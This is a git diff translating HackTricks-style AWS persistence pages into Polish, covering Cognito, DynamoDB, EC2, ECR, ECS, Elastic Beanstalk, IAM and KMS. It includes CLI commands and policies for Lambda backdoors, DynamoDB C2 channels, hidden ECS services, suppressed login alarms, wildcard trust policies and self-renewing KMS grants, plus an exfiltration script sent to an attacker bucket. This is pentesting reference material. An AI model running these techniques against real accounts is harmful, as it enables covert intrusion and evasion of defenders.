+Aby uzyskać więcej informacji, uzyskaj dostęp do:
{{#ref}}
../aws-services/aws-cognito-enum/
{{#endref}}
-### User persistence
+### Utrzymywanie użytkowników
-Cognito is a service that allows to give roles to unauthenticated and authenticated users and to control a directory of users. Several different configurations can be altered to maintain some persistence, like:
+Cognito to usługa, która pozwala przypisywać role użytkownikom nieautoryzowanym i autoryzowanym oraz kontrolować katalog użytkowników. Można zmienić kilka różnych konfiguracji, aby utrzymać pewną persystencję, takich jak:
-- **Adding a User Pool** controlled by the user to an Identity Pool
-- Give an **IAM role to an unauthenticated Identity Pool and allow Basic auth flow**
- - Or to an **authenticated Identity Pool** if the attacker can login
- - Or **improve the permissions** of the given roles
-- **Create, verify & privesc** via attributes controlled users or new users in a **User Pool**
-- **Allowing external Identity Providers** to login in a User Pool or in an Identity Pool
+- **Dodanie User Pool** kontrolowanego przez użytkownika do Identity Pool
+- Przyznanie **roli IAM nieautoryzowanemu Identity Pool i umożliwienie podstawowego przepływu autoryzacji**
+- Lub do **autoryzowanego Identity Pool**, jeśli atakujący może się zalogować
+- Lub **poprawa uprawnień** przyznanych ról
+- **Tworzenie, weryfikacja i privesc** za pomocą atrybutów kontrolowanych użytkowników lub nowych użytkowników w **User Pool**
+- **Umożliwienie zewnętrznym dostawcom tożsamości** logowania się w User Pool lub w Identity Pool
-Check how to do these actions in
+Sprawdź, jak wykonać te działania w
{{#ref}}
../aws-privilege-escalation/aws-cognito-privesc.md
@@ -29,18 +29,12 @@ Check how to do these actions in
### `cognito-idp:SetRiskConfiguration`
-An attacker with this privilege could modify the risk configuration to be able to login as a Cognito user **without having alarms being triggered**. [**Check out the cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) to check all the options:
-
+Atakujący z tym uprawnieniem mógłby zmodyfikować konfigurację ryzyka, aby móc zalogować się jako użytkownik Cognito **bez wywoływania alarmów**. [**Sprawdź cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html), aby zobaczyć wszystkie opcje:
```bash
aws cognito-idp set-risk-configuration --user-pool-id --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
```
-
-By default this is disabled:
+Domyślnie jest to wyłączone:
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md
index 75a824e73..27bff7547 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md
@@ -4,64 +4,56 @@
### DynamoDB
-For more information access:
+Aby uzyskać więcej informacji, przejdź do:
{{#ref}}
../aws-services/aws-dynamodb-enum.md
{{#endref}}
-### DynamoDB Triggers with Lambda Backdoor
-
-Using DynamoDB triggers, an attacker can create a **stealthy backdoor** by associating a malicious Lambda function with a table. The Lambda function can be triggered when an item is added, modified, or deleted, allowing the attacker to execute arbitrary code within the AWS account.
+### Wyzwalacze DynamoDB z tylnym wejściem Lambda
+Korzystając z wyzwalaczy DynamoDB, atakujący może stworzyć **ukryte tylne wejście** poprzez powiązanie złośliwej funkcji Lambda z tabelą. Funkcja Lambda może być wywoływana, gdy element jest dodawany, modyfikowany lub usuwany, co pozwala atakującemu na wykonanie dowolnego kodu w ramach konta AWS.
```bash
# Create a malicious Lambda function
aws lambda create-function \
- --function-name MaliciousFunction \
- --runtime nodejs14.x \
- --role \
- --handler index.handler \
- --zip-file fileb://malicious_function.zip \
- --region
+--function-name MaliciousFunction \
+--runtime nodejs14.x \
+--role \
+--handler index.handler \
+--zip-file fileb://malicious_function.zip \
+--region
# Associate the Lambda function with the DynamoDB table as a trigger
aws dynamodbstreams describe-stream \
- --table-name TargetTable \
- --region
+--table-name TargetTable \
+--region
# Note the "StreamArn" from the output
aws lambda create-event-source-mapping \
- --function-name MaliciousFunction \
- --event-source \
- --region
+--function-name MaliciousFunction \
+--event-source \
+--region
```
+Aby utrzymać persistencję, atakujący może tworzyć lub modyfikować elementy w tabeli DynamoDB, co spowoduje uruchomienie złośliwej funkcji Lambda. Umożliwia to atakującemu wykonywanie kodu w ramach konta AWS bez bezpośredniej interakcji z funkcją Lambda.
-To maintain persistence, the attacker can create or modify items in the DynamoDB table, which will trigger the malicious Lambda function. This allows the attacker to execute code within the AWS account without direct interaction with the Lambda function.
-
-### DynamoDB as a C2 Channel
-
-An attacker can use a DynamoDB table as a **command and control (C2) channel** by creating items containing commands and using compromised instances or Lambda functions to fetch and execute these commands.
+### DynamoDB jako kanał C2
+Atakujący może użyć tabeli DynamoDB jako **kanału dowodzenia i kontroli (C2)**, tworząc elementy zawierające polecenia i używając skompromitowanych instancji lub funkcji Lambda do pobierania i wykonywania tych poleceń.
```bash
# Create a DynamoDB table for C2
aws dynamodb create-table \
- --table-name C2Table \
- --attribute-definitions AttributeName=CommandId,AttributeType=S \
- --key-schema AttributeName=CommandId,KeyType=HASH \
- --provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
- --region
+--table-name C2Table \
+--attribute-definitions AttributeName=CommandId,AttributeType=S \
+--key-schema AttributeName=CommandId,KeyType=HASH \
+--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
+--region
# Insert a command into the table
aws dynamodb put-item \
- --table-name C2Table \
- --item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
- --region
+--table-name C2Table \
+--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
+--region
```
-
-The compromised instances or Lambda functions can periodically check the C2 table for new commands, execute them, and optionally report the results back to the table. This allows the attacker to maintain persistence and control over the compromised resources.
+Skonfiskowane instancje lub funkcje Lambda mogą okresowo sprawdzać tabelę C2 w poszukiwaniu nowych poleceń, wykonywać je i opcjonalnie raportować wyniki z powrotem do tabeli. Umożliwia to atakującemu utrzymanie trwałości i kontroli nad skonfiskowanymi zasobami.
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md
index b52ac9e85..491b744ee 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md
@@ -4,55 +4,51 @@
## EC2
-For more information check:
+Aby uzyskać więcej informacji, sprawdź:
{{#ref}}
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
{{#endref}}
-### Security Group Connection Tracking Persistence
+### Śledzenie połączeń grupy zabezpieczeń
-If a defender finds that an **EC2 instance was compromised** he will probably try to **isolate** the **network** of the machine. He could do this with an explicit **Deny NACL** (but NACLs affect the entire subnet), or **changing the security group** not allowing **any kind of inbound or outbound** traffic.
+Jeśli obrońca odkryje, że **instancja EC2 została skompromitowana**, prawdopodobnie spróbuje **izolować** **sieć** maszyny. Może to zrobić za pomocą **Deny NACL** (ale NACL wpływają na cały podsieć) lub **zmieniając grupę zabezpieczeń**, aby nie zezwalać na **żaden rodzaj ruchu przychodzącego lub wychodzącego**.
-If the attacker had a **reverse shell originated from the machine**, even if the SG is modified to not allow inboud or outbound traffic, the **connection won't be killed due to** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
+Jeśli atakujący miał **odwróconą powłokę pochodzącą z maszyny**, nawet jeśli SG zostanie zmodyfikowane, aby nie zezwalać na ruch przychodzący lub wychodzący, **połączenie nie zostanie zakończone z powodu** [**Śledzenia połączeń grupy zabezpieczeń**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
-### EC2 Lifecycle Manager
+### Menedżer cyklu życia EC2
-This service allow to **schedule** the **creation of AMIs and snapshots** and even **share them with other accounts**.\
-An attacker could configure the **generation of AMIs or snapshots** of all the images or all the volumes **every week** and **share them with his account**.
+Ta usługa pozwala na **planowanie** **tworzenia AMI i migawków** oraz nawet **dzielenie się nimi z innymi kontami**.\
+Atakujący mógłby skonfigurować **generowanie AMI lub migawków** wszystkich obrazów lub wszystkich wolumenów **co tydzień** i **dzielić się nimi ze swoim kontem**.
-### Scheduled Instances
+### Zaplanowane instancje
-It's possible to schedule instances to run daily, weekly or even monthly. An attacker could run a machine with high privileges or interesting access where he could access.
+Możliwe jest zaplanowanie instancji do uruchamiania codziennie, co tydzień lub nawet co miesiąc. Atakujący mógłby uruchomić maszynę z wysokimi uprawnieniami lub interesującym dostępem, do którego mógłby uzyskać dostęp.
-### Spot Fleet Request
+### Żądanie floty Spot
-Spot instances are **cheaper** than regular instances. An attacker could launch a **small spot fleet request for 5 year** (for example), with **automatic IP** assignment and a **user data** that sends to the attacker **when the spot instance start** and the **IP address** and with a **high privileged IAM role**.
+Instancje Spot są **tańsze** niż regularne instancje. Atakujący mógłby uruchomić **małe żądanie floty Spot na 5 lat** (na przykład), z **automatycznym przypisaniem IP** i **danymi użytkownika**, które wysyłają do atakującego **gdy instancja Spot się uruchomi** oraz **adres IP** i z **rolą IAM o wysokich uprawnieniach**.
-### Backdoor Instances
+### Instancje z tylnym wejściem
-An attacker could get access to the instances and backdoor them:
+Atakujący mógłby uzyskać dostęp do instancji i wprowadzić do nich tylne wejście:
-- Using a traditional **rootkit** for example
-- Adding a new **public SSH key** (check [EC2 privesc options](../aws-privilege-escalation/aws-ec2-privesc.md))
-- Backdooring the **User Data**
+- Używając tradycyjnego **rootkita**, na przykład
+- Dodając nowy **publiczny klucz SSH** (sprawdź [opcje privesc EC2](../aws-privilege-escalation/aws-ec2-privesc.md))
+- Wprowadzając tylne wejście do **Danych Użytkownika**
-### **Backdoor Launch Configuration**
+### **Konfiguracja uruchamiania z tylnym wejściem**
-- Backdoor the used AMI
-- Backdoor the User Data
-- Backdoor the Key Pair
+- Wprowadzenie tylnego wejścia do używanego AMI
+- Wprowadzenie tylnego wejścia do Danych Użytkownika
+- Wprowadzenie tylnego wejścia do pary kluczy
### VPN
-Create a VPN so the attacker will be able to connect directly through i to the VPC.
+Utwórz VPN, aby atakujący mógł połączyć się bezpośrednio przez niego z VPC.
-### VPC Peering
+### Peering VPC
-Create a peering connection between the victim VPC and the attacker VPC so he will be able to access the victim VPC.
+Utwórz połączenie peeringowe między VPC ofiary a VPC atakującego, aby mógł uzyskać dostęp do VPC ofiary.
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
index 07928fbd4..00260f215 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
@@ -4,98 +4,88 @@
## ECR
-For more information check:
+Aby uzyskać więcej informacji, sprawdź:
{{#ref}}
../aws-services/aws-ecr-enum.md
{{#endref}}
-### Hidden Docker Image with Malicious Code
+### Ukryty obraz Docker z złośliwym kodem
-An attacker could **upload a Docker image containing malicious code** to an ECR repository and use it to maintain persistence in the target AWS account. The attacker could then deploy the malicious image to various services within the account, such as Amazon ECS or EKS, in a stealthy manner.
+Napastnik mógłby **przesłać obraz Docker zawierający złośliwy kod** do repozytorium ECR i użyć go do utrzymania persistencji w docelowym koncie AWS. Napastnik mógłby następnie wdrożyć złośliwy obraz do różnych usług w ramach konta, takich jak Amazon ECS lub EKS, w sposób ukryty.
-### Repository Policy
-
-Add a policy to a single repository granting yourself (or everybody) access to a repository:
+### Polityka repozytorium
+Dodaj politykę do pojedynczego repozytorium, przyznając sobie (lub wszystkim) dostęp do repozytorium:
```bash
aws ecr set-repository-policy \
- --repository-name cluster-autoscaler \
- --policy-text file:///tmp/my-policy.json
+--repository-name cluster-autoscaler \
+--policy-text file:///tmp/my-policy.json
# With a .json such as
{
- "Version" : "2008-10-17",
- "Statement" : [
- {
- "Sid" : "allow public pull",
- "Effect" : "Allow",
- "Principal" : "*",
- "Action" : [
- "ecr:BatchCheckLayerAvailability",
- "ecr:BatchGetImage",
- "ecr:GetDownloadUrlForLayer"
- ]
- }
- ]
+"Version" : "2008-10-17",
+"Statement" : [
+{
+"Sid" : "allow public pull",
+"Effect" : "Allow",
+"Principal" : "*",
+"Action" : [
+"ecr:BatchCheckLayerAvailability",
+"ecr:BatchGetImage",
+"ecr:GetDownloadUrlForLayer"
+]
+}
+]
}
```
-
> [!WARNING]
-> Note that ECR requires that users have **permission** to make calls to the **`ecr:GetAuthorizationToken`** API through an IAM policy **before they can authenticate** to a registry and push or pull any images from any Amazon ECR repository.
+> Zauważ, że ECR wymaga, aby użytkownicy mieli **uprawnienia** do wywoływania API **`ecr:GetAuthorizationToken`** za pomocą polityki IAM **zanim będą mogli uwierzytelnić się** w rejestrze i przesyłać lub pobierać obrazy z dowolnego repozytorium Amazon ECR.
-### Registry Policy & Cross-account Replication
+### Polityka rejestru i replikacja między kontami
-It's possible to automatically replicate a registry in an external account configuring cross-account replication, where you need to **indicate the external account** there you want to replicate the registry.
+Możliwe jest automatyczne replikowanie rejestru w zewnętrznym koncie, konfigurując replikację między kontami, gdzie musisz **wskazać zewnętrzne konto**, w którym chcesz zreplikować rejestr.
-First, you need to give the external account access over the registry with a **registry policy** like:
-
+Najpierw musisz dać zewnętrznemu kontu dostęp do rejestru za pomocą **polityki rejestru** takiej jak:
```bash
aws ecr put-registry-policy --policy-text file://my-policy.json
# With a .json like:
{
- "Sid": "asdasd",
- "Effect": "Allow",
- "Principal": {
- "AWS": "arn:aws:iam::947247140022:root"
- },
- "Action": [
- "ecr:CreateRepository",
- "ecr:ReplicateImage"
- ],
- "Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
+"Sid": "asdasd",
+"Effect": "Allow",
+"Principal": {
+"AWS": "arn:aws:iam::947247140022:root"
+},
+"Action": [
+"ecr:CreateRepository",
+"ecr:ReplicateImage"
+],
+"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
}
```
-
-Then apply the replication config:
-
+Następnie zastosuj konfigurację replikacji:
```bash
aws ecr put-replication-configuration \
- --replication-configuration file://replication-settings.json \
- --region us-west-2
+--replication-configuration file://replication-settings.json \
+--region us-west-2
# Having the .json a content such as:
{
- "rules": [{
- "destinations": [{
- "region": "destination_region",
- "registryId": "destination_accountId"
- }],
- "repositoryFilters": [{
- "filter": "repository_prefix_name",
- "filterType": "PREFIX_MATCH"
- }]
- }]
+"rules": [{
+"destinations": [{
+"region": "destination_region",
+"registryId": "destination_accountId"
+}],
+"repositoryFilters": [{
+"filter": "repository_prefix_name",
+"filterType": "PREFIX_MATCH"
+}]
+}]
}
```
-
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md
index 988626c8f..99ab05dbe 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md
@@ -4,29 +4,28 @@
## ECS
-For more information check:
+Aby uzyskać więcej informacji, sprawdź:
{{#ref}}
../aws-services/aws-ecs-enum.md
{{#endref}}
-### Hidden Periodic ECS Task
+### Ukryte okresowe zadanie ECS
> [!NOTE]
> TODO: Test
-An attacker can create a hidden periodic ECS task using Amazon EventBridge to **schedule the execution of a malicious task periodically**. This task can perform reconnaissance, exfiltrate data, or maintain persistence in the AWS account.
-
+Napastnik może utworzyć ukryte okresowe zadanie ECS, używając Amazon EventBridge do **zaplanowania wykonywania złośliwego zadania okresowo**. To zadanie może przeprowadzać rekonesans, eksfiltrację danych lub utrzymywać persistencję w koncie AWS.
```bash
# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
- {
- "name": "malicious-container",
- "image": "malicious-image:latest",
- "memory": 256,
- "cpu": 10,
- "essential": true
- }
+{
+"name": "malicious-container",
+"image": "malicious-image:latest",
+"memory": 256,
+"cpu": 10,
+"essential": true
+}
]'
# Create an Amazon EventBridge rule to trigger the task periodically
@@ -34,70 +33,61 @@ aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate
# Add a target to the rule to run the malicious ECS task
aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
- {
- "Id": "malicious-ecs-task-target",
- "Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
- "RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
- "EcsParameters": {
- "TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
- "TaskCount": 1
- }
- }
+{
+"Id": "malicious-ecs-task-target",
+"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
+"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
+"EcsParameters": {
+"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
+"TaskCount": 1
+}
+}
]'
```
-
-### Backdoor Container in Existing ECS Task Definition
+### Backdoor Container w Istniejącej Definicji Zadania ECS
> [!NOTE]
> TODO: Test
-An attacker can add a **stealthy backdoor container** in an existing ECS task definition that runs alongside legitimate containers. The backdoor container can be used for persistence and performing malicious activities.
-
+Atakujący może dodać **ukryty kontener backdoor** w istniejącej definicji zadania ECS, który działa obok legalnych kontenerów. Kontener backdoor może być używany do utrzymywania dostępu i wykonywania złośliwych działań.
```bash
# Update the existing task definition to include the backdoor container
aws ecs register-task-definition --family "existing-task" --container-definitions '[
- {
- "name": "legitimate-container",
- "image": "legitimate-image:latest",
- "memory": 256,
- "cpu": 10,
- "essential": true
- },
- {
- "name": "backdoor-container",
- "image": "malicious-image:latest",
- "memory": 256,
- "cpu": 10,
- "essential": false
- }
+{
+"name": "legitimate-container",
+"image": "legitimate-image:latest",
+"memory": 256,
+"cpu": 10,
+"essential": true
+},
+{
+"name": "backdoor-container",
+"image": "malicious-image:latest",
+"memory": 256,
+"cpu": 10,
+"essential": false
+}
]'
```
-
### Undocumented ECS Service
> [!NOTE]
> TODO: Test
-An attacker can create an **undocumented ECS service** that runs a malicious task. By setting the desired number of tasks to a minimum and disabling logging, it becomes harder for administrators to notice the malicious service.
-
+Atakujący może stworzyć **undocumented ECS service**, który uruchamia złośliwe zadanie. Ustawiając pożądaną liczbę zadań na minimum i wyłączając logowanie, staje się trudniej administratorom zauważyć złośliwą usługę.
```bash
# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
- {
- "name": "malicious-container",
- "image": "malicious-image:latest",
- "memory": 256,
- "cpu": 10,
- "essential": true
- }
+{
+"name": "malicious-container",
+"image": "malicious-image:latest",
+"memory": 256,
+"cpu": 10,
+"essential": true
+}
]'
# Create an undocumented ECS service with the malicious task definition
aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
```
-
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md
index bdb282d41..2acc6be13 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md
@@ -4,22 +4,18 @@
## EFS
-For more information check:
+Aby uzyskać więcej informacji, sprawdź:
{{#ref}}
../aws-services/aws-efs-enum.md
{{#endref}}
-### Modify Resource Policy / Security Groups
+### Modyfikacja polityki zasobów / grup zabezpieczeń
-Modifying the **resource policy and/or security groups** you can try to persist your access into the file system.
+Modyfikując **politykę zasobów i/lub grupy zabezpieczeń**, możesz spróbować utrzymać dostęp do systemu plików.
-### Create Access Point
+### Utwórz punkt dostępu
-You could **create an access point** (with root access to `/`) accessible from a service were you have implemented **other persistence** to keep privileged access to the file system.
+Możesz **utworzyć punkt dostępu** (z dostępem root do `/`), dostępny z usługi, w której wdrożyłeś **inną persistencję**, aby zachować uprzywilejowany dostęp do systemu plików.
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md
index c55e0e2ba..66045aa49 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md
@@ -4,31 +4,30 @@
## Elastic Beanstalk
-For more information check:
+Aby uzyskać więcej informacji, sprawdź:
{{#ref}}
../aws-services/aws-elastic-beanstalk-enum.md
{{#endref}}
-### Persistence in Instance
+### Utrzymywanie dostępu w instancji
-In order to maintain persistence inside the AWS account, some **persistence mechanism could be introduced inside the instance** (cron job, ssh key...) so the attacker will be able to access it and steal IAM role **credentials from the metadata service**.
+Aby utrzymać dostęp w koncie AWS, można wprowadzić **mechanizm utrzymywania dostępu wewnątrz instancji** (zadanie cron, klucz ssh...), aby atakujący mógł uzyskać do niego dostęp i ukraść **poświadczenia roli IAM z usługi metadanych**.
-### Backdoor in Version
+### Tylnie drzwi w wersji
-An attacker could backdoor the code inside the S3 repo so it always execute its backdoor and the expected code.
+Atakujący mógłby wprowadzić tylne drzwi do kodu w repozytorium S3, aby zawsze wykonywał swoje tylne drzwi oraz oczekiwany kod.
-### New backdoored version
+### Nowa wersja z tylnymi drzwiami
-Instead of changing the code on the actual version, the attacker could deploy a new backdoored version of the application.
+Zamiast zmieniać kod w aktualnej wersji, atakujący mógłby wdrożyć nową wersję aplikacji z tylnymi drzwiami.
-### Abusing Custom Resource Lifecycle Hooks
+### Wykorzystywanie niestandardowych haków cyklu życia zasobów
> [!NOTE]
> TODO: Test
-Elastic Beanstalk provides lifecycle hooks that allow you to run custom scripts during instance provisioning and termination. An attacker could **configure a lifecycle hook to periodically execute a script that exfiltrates data or maintains access to the AWS account**.
-
+Elastic Beanstalk zapewnia haki cyklu życia, które pozwalają na uruchamianie niestandardowych skryptów podczas provisioningu i zakończenia instancji. Atakujący mógłby **skonfigurować hak cyklu życia, aby okresowo wykonywał skrypt, który eksfiltruje dane lub utrzymuje dostęp do konta AWS**.
```bash
bashCopy code# Attacker creates a script that exfiltrates data and maintains access
echo '#!/bin/bash
@@ -42,40 +41,35 @@ aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hoo
# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook
echo 'Resources:
- AWSEBAutoScalingGroup:
- Metadata:
- AWS::ElasticBeanstalk::Ext:
- TriggerConfiguration:
- triggers:
- - name: stealthy-lifecycle-hook
- events:
- - "autoscaling:EC2_INSTANCE_LAUNCH"
- - "autoscaling:EC2_INSTANCE_TERMINATE"
- target:
- ref: "AWS::ElasticBeanstalk::Environment"
- arn:
- Fn::GetAtt:
- - "AWS::ElasticBeanstalk::Environment"
- - "Arn"
- stealthyLifecycleHook:
- Type: AWS::AutoScaling::LifecycleHook
- Properties:
- AutoScalingGroupName:
- Ref: AWSEBAutoScalingGroup
- LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING
- NotificationTargetARN:
- Ref: stealthy-lifecycle-hook
- RoleARN:
- Fn::GetAtt:
- - AWSEBAutoScalingGroup
- - Arn' > stealthy_lifecycle_hook.yaml
+AWSEBAutoScalingGroup:
+Metadata:
+AWS::ElasticBeanstalk::Ext:
+TriggerConfiguration:
+triggers:
+- name: stealthy-lifecycle-hook
+events:
+- "autoscaling:EC2_INSTANCE_LAUNCH"
+- "autoscaling:EC2_INSTANCE_TERMINATE"
+target:
+ref: "AWS::ElasticBeanstalk::Environment"
+arn:
+Fn::GetAtt:
+- "AWS::ElasticBeanstalk::Environment"
+- "Arn"
+stealthyLifecycleHook:
+Type: AWS::AutoScaling::LifecycleHook
+Properties:
+AutoScalingGroupName:
+Ref: AWSEBAutoScalingGroup
+LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING
+NotificationTargetARN:
+Ref: stealthy-lifecycle-hook
+RoleARN:
+Fn::GetAtt:
+- AWSEBAutoScalingGroup
+- Arn' > stealthy_lifecycle_hook.yaml
# Attacker applies the new environment configuration
aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"
```
-
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md
index e3e1944e7..7b5125804 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md
@@ -4,50 +4,44 @@
## IAM
-For more information access:
+Aby uzyskać więcej informacji, przejdź do:
{{#ref}}
../aws-services/aws-iam-enum.md
{{#endref}}
-### Common IAM Persistence
+### Powszechna trwałość IAM
-- Create a user
-- Add a controlled user to a privileged group
-- Create access keys (of the new user or of all users)
-- Grant extra permissions to controlled users/groups (attached policies or inline policies)
-- Disable MFA / Add you own MFA device
-- Create a Role Chain Juggling situation (more on this below in STS persistence)
+- Utwórz użytkownika
+- Dodaj kontrolowanego użytkownika do uprzywilejowanej grupy
+- Utwórz klucze dostępu (nowego użytkownika lub wszystkich użytkowników)
+- Przyznaj dodatkowe uprawnienia kontrolowanym użytkownikom/grupom (polityki dołączone lub polityki inline)
+- Wyłącz MFA / Dodaj własne urządzenie MFA
+- Utwórz sytuację z łańcuchem ról (więcej na ten temat poniżej w trwałości STS)
-### Backdoor Role Trust Policies
-
-You could backdoor a trust policy to be able to assume it for an external resource controlled by you (or to everyone):
+### Polityki zaufania ról backdoor
+Możesz dodać backdoor do polityki zaufania, aby móc ją przyjąć dla zewnętrznego zasobu kontrolowanego przez Ciebie (lub dla wszystkich):
```json
{
- "Version": "2012-10-17",
- "Statement": [
- {
- "Effect": "Allow",
- "Principal": {
- "AWS": ["*", "arn:aws:iam::123213123123:root"]
- },
- "Action": "sts:AssumeRole"
- }
- ]
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Principal": {
+"AWS": ["*", "arn:aws:iam::123213123123:root"]
+},
+"Action": "sts:AssumeRole"
+}
+]
}
```
-
### Backdoor Policy Version
-Give Administrator permissions to a policy in not its last version (the last version should looks legit), then assign that version of the policy to a controlled user/group.
+Nadaj uprawnienia Administratora do polityki, która nie jest jej ostatnią wersją (ostatnia wersja powinna wyglądać na legitną), a następnie przypisz tę wersję polityki do kontrolowanego użytkownika/grupy.
### Backdoor / Create Identity Provider
-If the account is already trusting a common identity provider (such as Github) the conditions of the trust could be increased so the attacker can abuse them.
+Jeśli konto już ufa wspólnemu dostawcy tożsamości (takiemu jak Github), warunki zaufania mogą zostać zwiększone, aby atakujący mógł je wykorzystać.
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md
index 7aefbd410..855b97515 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md
@@ -4,40 +4,34 @@
## KMS
-For mor information check:
+Aby uzyskać więcej informacji, sprawdź:
{{#ref}}
../aws-services/aws-kms-enum.md
{{#endref}}
-### Grant acces via KMS policies
+### Przyznawanie dostępu za pomocą polityk KMS
-An attacker could use the permission **`kms:PutKeyPolicy`** to **give access** to a key to a user under his control or even to an external account. Check the [**KMS Privesc page**](../aws-privilege-escalation/aws-kms-privesc.md) for more information.
+Atakujący może użyć uprawnienia **`kms:PutKeyPolicy`** do **przyznania dostępu** do klucza użytkownikowi pod jego kontrolą lub nawet do zewnętrznego konta. Sprawdź [**stronę KMS Privesc**](../aws-privilege-escalation/aws-kms-privesc.md) po więcej informacji.
-### Eternal Grant
+### Wieczne Przyznanie
-Grants are another way to give a principal some permissions over a specific key. It's possible to give a grant that allows a user to create grants. Moreover, a user can have several grant (even identical) over the same key.
+Przyznania to inny sposób na nadanie podmiotowi pewnych uprawnień do konkretnego klucza. Możliwe jest przyznanie, które pozwala użytkownikowi tworzyć przyznania. Co więcej, użytkownik może mieć kilka przyznań (nawet identycznych) do tego samego klucza.
-Therefore, it's possible for a user to have 10 grants with all the permissions. The attacker should monitor this constantly. And if at some point 1 grant is removed another 10 should be generated.
-
-(We are using 10 and not 2 to be able to detect that a grant was removed while the user still has some grant)
+Dlatego możliwe jest, aby użytkownik miał 10 przyznań ze wszystkimi uprawnieniami. Atakujący powinien to stale monitorować. A jeśli w pewnym momencie 1 przyznanie zostanie usunięte, powinno zostać wygenerowanych kolejne 10.
+(Używamy 10, a nie 2, aby móc wykryć, że przyznanie zostało usunięte, podczas gdy użytkownik nadal ma jakieś przyznanie)
```bash
# To generate grants, generate 10 like this one
aws kms create-grant \
- --key-id \
- --grantee-principal \
- --operations "CreateGrant" "Decrypt"
+--key-id \
+--grantee-principal \
+--operations "CreateGrant" "Decrypt"
# To monitor grants
aws kms list-grants --key-id
```
-
> [!NOTE]
